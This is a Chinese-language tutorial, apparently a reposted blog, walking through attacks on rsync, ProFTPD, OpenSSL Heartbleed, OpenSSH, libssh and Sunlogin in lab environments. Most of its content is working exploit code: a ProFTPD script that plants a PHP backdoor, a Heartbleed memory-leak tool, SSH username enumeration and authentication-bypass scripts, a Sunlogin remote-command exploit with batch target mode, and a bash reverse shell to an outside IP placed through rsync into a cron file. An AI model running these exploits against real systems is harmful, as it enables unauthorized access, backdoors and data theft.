应用协议漏洞

应用协议漏洞

一、rsync

  • rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口
1.未授权访问
  • 打开靶场

    在这里插入图片描述

  • 判断漏洞是否存在

    rsync rsync://目标ip:端口
    

    在这里插入图片描述

  • 读取文件

    rsync rsync://47.99.49.128:873/src/tmp/
    

    在这里插入图片描述

  • 下载文件

    rsync rsync://47.99.49.128:873/src/etc/passwd ./
    

    在这里插入图片描述

  • 上传文件

    rsync -av passwd rsync://47.99.49.128:873/src/tmp/passwd
    

    在这里插入图片描述

  • 获取shell

    • 查看crontab中的内容,发现有一个每17分钟执行一次/etc/cron.hourly文件的定时任务

      rsync rsync://47.99.49.128:873/src/etc/crontab ./ 
      

      在这里插入图片描述

    • 发现每17分钟执行/etc/cron.hourly文件,我们创建一个反弹shell的文件覆盖该文件

      vim shell内容:
      bash -i >& /dev/tcp/120.46.39.24/8848 0>&1赋权:chmod +x shell 覆盖文件:
      rsync -av shell rsync://47.99.49.128:873/src/etc/cron.hourly
      

      在这里插入图片描述

      在这里插入图片描述

    • MSF批量验证

      use auxiliary/scanner/rsync/modules_list  进入rsync漏洞扫描模块
      show options    查看模块配置方法
      set rhosts file:/tmp/ip.txt    批量扫描,指定字典
      set threads 10    配置线程
      

      在这里插入图片描述

    • 【+】代表有漏洞,【*】没有

      在这里插入图片描述

二、ProFTPD

  • 一个Unix平台上或是类Unix平台上 (如Linux, FreeBSD等)的FTP服务器程序
1.RCE(cve-2015-3306)
  • https://github.com/t0kx/exploit-CVE-2015-3306

  • 打开靶场

    在这里插入图片描述

  • EXP

    #!/usr/bin/env python
    # CVE-2015-3306 exploit by t0kx
    # https://github.com/t0kx/exploit-CVE-2015-3306import re
    import socket
    import requests
    import argparseclass Exploit:def __init__(self, host, port, path):self.__sock = Noneself.__host = hostself.__port = portself.__path = pathdef __connect(self):self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.__sock.connect((self.__host, self.__port))self.__sock.recv(1024)def __exploit(self):payload = "<?php echo passthru($_GET['cmd']); ?>"self.__sock.send(b"site cpfr /proc/self/cmdline\n")self.__sock.recv(1024)self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))self.__sock.recv(1024)self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))self.__sock.recv(1024)self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))if "Copy successful" in str(self.__sock.recv(1024)):print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")print("[+] Running whoami: " + self.__trigger())print("[+] Done")else:print("[!] Failed")def __trigger(self):data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")match = re.search('cpto /tmp/.([^"]+)', data.text)return match.group(0)[11::].replace("\n", "")def run(self):self.__connect()self.__exploit()def main(args):print("[+] CVE-2015-3306 exploit by t0kx")print("[+] Exploiting " + args.host + ":" + args.port)exploit = Exploit(args.host, int(args.port), args.path)exploit.run()if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument('--host', required=True)parser.add_argument('--port', required=True)parser.add_argument('--path', required=True)args = parser.parse_args()main(args)
    
  • 执行exp

    python3 exploit.py --host 47.99.49.128 --port 56714 --path "/var/www/html"
    

    在这里插入图片描述

  • 执行命令

    :57867/backdoor.php?cmd=id
    

    在这里插入图片描述

三、SSH

  • OpenSSH 是SSH协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件
  • OpenSSL 是一个开源的软件库,使用包含了众多加解密算法,用于传输层安全性 (TLS) 和安全套接字层 (SSL) 协议的强大、商业级和功能齐全的工具包
  • libssh 是一个提供SSH相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送`MSG_USERAUTH_SUCCESS消息,绕过认证过程,未授权访问目标 SSH 服务器
1.心脏出血(CVE-2014-0160 版本很少)
  • 受影响版本

    OpenSSL 1.0.2-beta
    OpenSSL 1.0.1 - OpenSSL 1.0.1f
    
  • 打开靶场

    在这里插入图片描述

  • MSF进行验证

    search heartbleed   查找攻击模块
    use auxiliary/scanner/ssl/openssl_heartbleed    选择攻击模块
    show options     查看需要设置的参数
    set RHOST  设置对应的主机
    set RPORT   设置对应的端口
    set verbose true     设置verbose为true是为了 看到泄露的信息
    run    执行
    

    在这里插入图片描述

在这里插入图片描述

  • EXP获取敏感数据

    #!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
    # The author disclaims copyright to this source code.import sys
    import struct
    import socket
    import time
    import select
    import binascii
    import re
    from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))hello = h2bin('''
    16 03 02 00 dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01
    ''')hb = h2bin('''
    18 03 02 00 03
    01 40 00
    ''')def hexdump(s: bytes):for b in range(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % c for c in lin)pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)print('  %04x: %-48s %s' % (b, hxdat, pdat))print("")def recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = b''remain = lengthwhile remain > 0:rtime = endtime - time.time()if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print('Unexpected EOF receiving record header - server closed connection')return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print('Unexpected EOF receiving record payload - server closed connection')return None, None, Noneprint(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print('No heartbeat response received, server likely not vulnerable')return Falseif typ == 24:print('Received heartbeat response:')hexdump(pay)if len(pay) > 3:print('WARNING: server returned more data than it should - server is vulnerable!')else:print('Server processed malformed heartbeat, but did not return any extra data.')return Trueif typ == 21:print('Received alert:')hexdump(pay)print('Server returned error, likely not vulnerable')return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print('Connecting...')sys.stdout.flush()s.connect((args[0], opts.port))print('Sending Client Hello...')sys.stdout.flush()s.send(hello)print('Waiting for Server Hello...')sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print('Server closed connection without sending Server Hello.')return# Look for server hello done message.if typ == 22 and pay[0] == 0x0E:breakprint('Sending heartbeat request...')sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()
    

    在这里插入图片描述

2.用户枚举(CVE-2018-15473)
  • 影响版本:OpenSSH < 7.7

  • 打开靶场

    在这里插入图片描述

  • MSF进行验证

    use auxiliary/scanner/ssh/ssh_enumusers 
    

    在这里插入图片描述

  • 使用POC进行验证

    #!/usr/bin/env python
    ###########################################################################
    #                ____                    _____ _____ _    _               #
    #               / __ \                  / ____/ ____| |  | |              #
    #              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
    #              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
    #              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
    #               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
    #                     | |               Username Enumeration              #
    #                     |_|                                                 #
    #                                                                         #
    ###########################################################################
    # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473)          #
    # Vulnerability: CVE-2018-15473                                           #
    # Affected Versions: OpenSSH version < 7.7                                #
    # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT         #
    # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit            #
    # Email: Justin.Gardner@SynerComm.com                                     #
    # Date: August 20, 2018                                                   #
    ###########################################################################import argparse
    import logging
    import paramiko
    import multiprocessing
    import socket
    import string
    import sys
    import json
    from random import randint as rand
    from random import choice as choice
    # store function we will overwrite to malform the packet
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]# list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
    # with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
    random_username_list = []
    # populate the list
    for i in range(3):user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))random_username_list.append(user)# create custom exception
    class BadUsername(Exception):def __init__(self):pass# create malicious "add_boolean" function to malform packet
    def add_boolean(*args, **kwargs):pass# create function to call when username was invalid
    def call_error(*args, **kwargs):raise BadUsername()# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
    def malform_packet(*args, **kwargs):old_add_boolean = paramiko.message.Message.add_booleanparamiko.message.Message.add_boolean = add_booleanresult  = old_parse_service_accept(*args, **kwargs)#return old add_boolean function so start_client will work againparamiko.message.Message.add_boolean = old_add_booleanreturn result# create function to perform authentication with malformed packet and desired username
    def checkUsername(username, tried=0):sock = socket.socket()sock.connect((args.hostname, args.port))# instantiate transporttransport = paramiko.transport.Transport(sock)try:transport.start_client()except paramiko.ssh_exception.SSHException:# server was likely flooded, retry up to 3 timestransport.close()if tried < 4:tried += 1return checkUsername(username, tried)else:print('[-] Failed to negotiate SSH transport')try:transport.auth_publickey(username, paramiko.RSAKey.generate(1024))except BadUsername:return (username, False)except paramiko.ssh_exception.AuthenticationException:return (username, True)#Successful auth(?)raise Exception("There was an error. Is this the correct version of OpenSSH?")# function to test target system using the randomly generated usernames
    def checkVulnerable():vulnerable = Truefor user in random_username_list:result = checkUsername(user)if result[1]:vulnerable = Falsereturn vulnerabledef exportJSON(results):data = {"Valid":[], "Invalid":[]}for result in results:if result[1] and result[0] not in data['Valid']:data['Valid'].append(result[0])elif not result[1] and result[0] not in data['Invalid']:data['Invalid'].append(result[0])return json.dumps(data)def exportCSV(results):final = "Username, Valid\n"for result in results:final += result[0]+", "+str(result[1])+"\n"return finaldef exportList(results):final = ""for result in results:if result[1]:final+="++++++" + result[0] + " is a valid user!\n"else:final+=result[0]+" is not a valid user!\n"return final# assign functions to respective handlers
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error# get rid of paramiko logging
    logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())arg_parser = argparse.ArgumentParser()
    arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
    arg_parser.add_argument('--port', type=int, default=22, help="The target port")
    arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
    arg_parser.add_argument('--outputFile', type=str, help="The output file location")
    arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
    group = arg_parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--username', type=str, help="The single username to validate")
    group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
    args = arg_parser.parse_args()def main():sock = socket.socket()try:sock.connect((args.hostname, args.port))sock.close()except socket.error:print('[-] Connecting to host failed. Please check the specified host and port.')sys.exit(1)# first we run the function to check if host is vulnerable to this CVEif not checkVulnerable():# most probably the target host is either patched or running a version not affected by this CVEprint("Target host most probably is not vulnerable or already patched, exiting...")sys.exit(0)elif args.username: #single username passed inresult = checkUsername(args.username)if result[1]:print(result[0]+" is a valid user!")else:print(result[0]+" is not a valid user!")elif args.userList: #username list passed intry:f = open(args.userList)except IOError:print("[-] File doesn't exist or is unreadable.")sys.exit(3)usernames = map(str.strip, f.readlines())f.close()# map usernames to their respective threadspool = multiprocessing.Pool(args.threads)results = pool.map(checkUsername, usernames)try:if args.outputFile:outputFile = open(args.outputFile, "w")except IOError:print("[-] Cannot write to outputFile.")sys.exit(5)if args.outputFormat=='json':if args.outputFile:outputFile.writelines(exportJSON(results))outputFile.close()print("[+] Results successfully written to " + args.outputFile + " in JSON form.")else:print(exportJSON(results))elif args.outputFormat=='csv':if args.outputFile:outputFile.writelines(exportCSV(results))outputFile.close()print("[+] Results successfully written to " + args.outputFile + " in CSV form.")else:print(exportCSV(results))else:if args.outputFile:outputFile.writelines(exportList(results))outputFile.close()print("[+] Results successfully written to " + args.outputFile + " in List form.")else:print(exportList(results))else: # no usernames passed inprint("[-] No usernames provided to check")sys.exit(4)if __name__ == '__main__':main()
    
3.命令注入(CVE-2020-15778 价值不高)
  • 漏洞版本:<= openssh-8.3p1
4.libssh身份验证绕过(CVE-2018-10933)
  • 影响版本

    libssh 0.6 及更高版本具有身份验证绕过漏洞。
    libssh 版本 0.8.4 和 libssh 0.7.6 已发布,以解决此问题。
    
  • 打开靶场

    在这里插入图片描述

  • EXP

    因其正常连接需要输入密码,使用 EXP 向服务器显示SSH2_MSG_USERAUTH_SUCCESS消息
    代替服务器等待的SSH2_MSG_USERAUTH_REQUEST消息,以达到无登录凭据认证

    #!/usr/bin/env python3
    import sys
    import paramiko
    import socket
    import logginglogging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
    bufsize = 2048def execute(hostname, port, command):sock = socket.socket()try:sock.connect((hostname, int(port)))message = paramiko.message.Message()transport = paramiko.transport.Transport(sock)transport.start_client()message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)transport._send_message(message)client = transport.open_session(timeout=10)client.exec_command(command)# stdin = client.makefile("wb", bufsize)stdout = client.makefile("rb", bufsize)stderr = client.makefile_stderr("rb", bufsize)output = stdout.read()error = stderr.read()stdout.close()stderr.close()return (output+error).decode()except paramiko.SSHException as e:logging.exception(e)logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")except socket.error:logging.debug("Unable to connect.")return Noneif __name__ == '__main__':print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
    

    在这里插入图片描述

四、向日葵

1.RCE(CNVD-2022-10207)
  • 漏洞安装包下载:https://download.csdn.net/download/weixin_46029520/88782063

  • 影响客户端版本:

    11.1.1
    10.3.0.27372
    11.0.0.33162
    
  • 发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000的端口号

  • EXP

    Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
    python exp.py -i 127.0.0.1 -p 20038 -c "net user" 
    python exp.py  -f targets.txt -c "whoami"
    
    from optparse import OptionParser
    import requests
    import jsondef title():print("""╔═╗┬ ┬┌┐┌╦  ┌─┐┌─┐┬┌┐┌   ╦═╗┌─┐┌─┐
    ╚═╗│ ││││║  │ ││ ┬││││───╠╦╝│  ├┤   =.=
    ╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘   ╩╚═└─┘└─┘By:J2ekim向日葵v11.x RCE""")def gettoken(ip, port):print("http://" + ip + ":" + port)url = "http://" + ip + ":" + port + "/cgi-bin/rpc?action=verify-haras"try:res = json.loads(requests.get(url,verify=False, timeout=5).text)# print(res['verify_string'])return res['verify_string']except requests.exceptions.ConnectTimeout as _:print ("fail", "ConnectTimeout")except Exception as _:print ("fail", "Error")def RunCmd(ip, port, command,token):poc1 = "http://" + ip + ":" + port + "/check?cmd=ping../../../../../../windows/system32/" + command# poc1 = "http://" + ip + ":" + port + "/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+"+ cmdcookies = {"CID": token}# print(cookies)try:resu = requests.get(poc1, cookies=cookies, timeout=5,verify=False).textprint(resu)except Exception as _:return ("fail", "Error_")def getshell(url,command):try:print(url)vul_url = url + "/cgi-bin/rpc?action=verify-haras"reps = json.loads(requests.get(vul_url, verify=False, timeout=5).text)verify_string = (reps['verify_string'])cookies = {"CID": verify_string}poc11 = url + "/check?cmd=ping../../../../../../windows/system32/" + commandpoc_reps = requests.get(poc11, cookies=cookies, timeout=5, verify=False).textprint(poc_reps)except TimeoutError:print("timeout")except Exception:print("error")def batch_getshell(filename,command):with open(filename, mode="r", encoding="utf-8") as f:for url in f:if "http" not in url:url = "http://" + urlgetshell(url,command)else:getshell(url, command)def main(host,port,command):try:token = gettoken(host, port)RunCmd(host, port, command, token)except requests.RequestException as e:print(e)if __name__ == '__main__':title()usage = ("""Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]python exp.py -i 127.0.0.1 -p 20038 -c "net user" python exp.py  -f targets.txt -c "whoami" """)parser = OptionParser(usage=usage)parser.add_option('-i', '--ip', dest='ip')parser.add_option('-p', '--port', dest='port')parser.add_option('-c', '--command', dest='command')parser.add_option('-f', '--file', dest='file')(option, args) = parser.parse_args()host = option.ipport = option.portcommand = option.commandfile = option.fileif host is None and command is None and port is None :print(usage)elif file is not None:batch_getshell(file,command)else:main(host, port,command)
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/646443.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浏览器打开本地应用和程序制作安装包

1、引言 最近使用python开发一款windows应用&#xff0c;有一个需求是从浏览器打开本地应用。从网上查到可以通过注册表的方法完成需求。所以就需要往注册表写内容。因此应用需要在安装的时候写注册表。 2、安装包制作工具&#xff1a;NSISVNISEdit NSIS可以制作安装包&…

JVM内存问题排查

本文又名《对JVM一窍不通的我快速开始排查应用内存问题》。主要系统性地整理了排查思路&#xff0c;为大家遇到问题时提供全面的排查流程&#xff0c;不至于漏掉某些可能性误入歧途浪费时间。 基本原则 由于本文的定位是Cookbook,基本原则是让整个流程能够系统化规范化的同时将…

Vue2学习之第六、七章——vue-router与ElementUI组件库

路由 理解&#xff1a; 一个路由&#xff08;route&#xff09;就是一组映射关系&#xff08;key - value&#xff09;&#xff0c;多个路由需要路由器&#xff08;router&#xff09;进行管理。前端路由&#xff1a;key是路径&#xff0c;value是组件。 1.基本使用 安装vue-…

李沐《动手学深度学习》深度学习计算

系列文章 李沐《动手学深度学习》预备知识 张量操作及数据处理 李沐《动手学深度学习》预备知识 线性代数及微积分 李沐《动手学深度学习》线性神经网络 线性回归 李沐《动手学深度学习》线性神经网络 softmax回归 李沐《动手学深度学习》多层感知机 模型概念和代码实现 李沐《…

使用 LinkAi 打造自己的知识库和数字人

其他系列文章导航 Java基础合集数据结构与算法合集 设计模式合集 多线程合集 分布式合集 ES合集 文章目录 其他系列文章导航 文章目录 前言 一、LinkAi 介绍 二、文档库 2.1 创建知识库 2.2 配置知识库 2.3 Ai配置 2.4 导入文档 2.5 接入微信 三、扩展 四、总结…

结合CSS一些样式属性和属性值进行案例演示

案例演示 图1 1.结构分析 文字部分用<p>标签定义&#xff0c;对于特殊显示的文本&#xff08;如导语、详情&#xff09;等可以用<em>、<strong>等格式化标签来定义&#xff0c;效果图如图2。 图2 2.样式分析 &#xff08;1&#xff09;控制段落文本的字体…

一种改进的小龙虾优化算法大|Crayfish optimization algorithm(COA)|首次公开—原创代码

1、简介 本文介绍一种新的全局优化算法——小龙虾优化算法Crayfish optimization algorithm&#xff08;COA&#xff09;&#xff0c;模拟了小龙虾的避暑行为、竞争行为和觅食行为。该成果于2023年9月最新发表在Artifcial Intelligence Review。 COA的灵感来自小龙虾的避暑、…

springboot农机电招平台源码和论文

随着农机电招行业的不断发展&#xff0c;农机电招在现实生活中的使用和普及&#xff0c;农机电招行业成为近年内出现的一个新行业&#xff0c;并且能够成为大群众广为认可和接受的行为和选择。设计农机电招平台的目的就是借助计算机让复杂的销售操作变简单&#xff0c;变高效。…

异常检测(Anomaly Detection)

1.问题的动机 什么是异常检测呢&#xff1f;为了解释这个概念&#xff0c;让我举一个例子吧&#xff1a; 假想你是一个飞机引擎制造商&#xff0c;当你生产的飞机引擎从生产线上流出时&#xff0c;你需要进行QA(质量控制测试)&#xff0c;而作为这个测试的一部分&#xff0c;你…

CSS自适应分辨率 postcss-pxtorem(适用于 Vite)

前言 此篇是基于 Vite Vu3 项目的 CSS 自适应分辨率&#xff01; 如果想知道基于 Webpack Vue2 可移步 《CSS自适应分辨率 amfe-flexible 和 postcss-pxtorem&#xff08;适用于 Webpack&#xff09;》 项目对应的主要插件版本如下&#xff1a; "vite": "^4…

纳斯达克VS路透社MIFI大屏直投-大舍传媒

纳斯达克VS路透社MIFI大屏直投-大舍传媒 引言 在数字时代的今天&#xff0c;大屏投放成为一种广泛应用的营销手段和传媒方式。纳斯达克大屏和路透社MIFI大屏作为两个重要的投放平台&#xff0c;为企业和机构提供了广告和宣传的机会。 纳斯达克大屏的魅力 纳斯达克大屏位于纽…

Wpf 使用 Prism 实战开发Day14

备忘录接口增删&#xff08;CURD&#xff09;改查实现 一.添加备忘录控制器&#xff08;MemoController&#xff09; 备忘录控制器&#xff08;MemoController&#xff09;和待办事项控制器 &#xff08;ToDoController&#xff09;功能实现差不多一样。基本套路就是&#xff1…

写点东西《JavaScript 中的递归》

写点东西《JavaScript 中的递归》 您是否曾经发现自己需要在 JavaScript 中循环遍历一个复杂的多维对象&#xff0c;却不知道如何操作&#xff1f; 那么&#xff0c;递归函数到底是什么&#xff1f; 让我们回到我们的树对象。 为什么使用递归&#x1f31f;更多精彩 您是否曾经发…

LabVIEW工业机器人系统

介绍了ABB工业机器人与LabVIEW之间进行数据交互的解决方案。通过使用TCP/IP协议的socket通信&#xff0c;实现了机器人坐标数据的读取&#xff0c;为人机交互提供了一个更便捷、更高效的新思路。 系统主要由ABB工业机器人、基于TCP/IP协议的通信接口和LabVIEW软件组成。工业机…

鸿蒙常用UI效果及一些处理方式总结

前言&#xff1a; DevEco Studio版本&#xff1a;4.0.0.600 详细使用介绍 1、Text的一些常用设置 Text(this.message).fontSize(50)//字体大小.fontColor(Color.White)//字体颜色.fontWeight(FontWeight.Bold)//字体加粗.backgroundColor(Color.Black)//背景颜色.fontStyle(…

[安全警报] Npm木马利用“Oscompatible“包悄然安装AnyDesk

最近&#xff0c;一个名为OsCompatible的恶意包被上传到npm 。该包被发现包含一个针对 Windows 的远程访问木马。 这个名为OsCompatible的软件包于2024年1月9日发布&#xff0c;在被撤下之前共吸引了380次下载。 据了解&#xff0c;OsCompatible包含“几个奇怪的二进制文件”…

Linux本地部署MeterSphere测试平台并实现公网远程访问

文章目录 前言1. 安装MeterSphere2. 本地访问MeterSphere3. 安装 cpolar内网穿透软件4. 配置MeterSphere公网访问地址5. 公网远程访问MeterSphere6. 固定MeterSphere公网地址 前言 MeterSphere 是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、UI 测试和性能测试等功能&am…

重学JavaScript高级(十五): XHR以及Fetch的理解应用

JavaScript XHR、Fetch 服务器端渲染-前后端分离 **服务器端渲染&#xff1a;**将html文件在后端&#xff0c;拼接好&#xff0c;将整个文件全部返回给前端 随着目前业务逻辑的复杂度提升&#xff0c;这种开发模式&#xff0c;会导致效率低下同时&#xff0c;有时候前端页面仅…

SQL语句 - 查询语句

Data Query Language 文章目录 Data Query Language数据查询&#xff08;DQL&#xff09;基础查询1 基本查询2 排序查询3 条件查询4 分支结构查询5 查询函数6 分组查询7 分组过滤查询8 限定查询9 基础查询总结 面试题&#xff1a;一条SQL查询语句的执行流程高级查询1 子查询2 合…

linux基础学习(7):find命令

1.按照文件名搜索 find 搜索路径 选项 文件名 选项&#xff1a; -name&#xff1a;按文件名搜索 -ineme&#xff1a;不区分文件名大小写搜索 -inum&#xff1a;按inode号搜索 按文件名搜索跟按关键词搜索不一样&#xff0c;只能搜到文件名完整对应的文件 *根据文件名…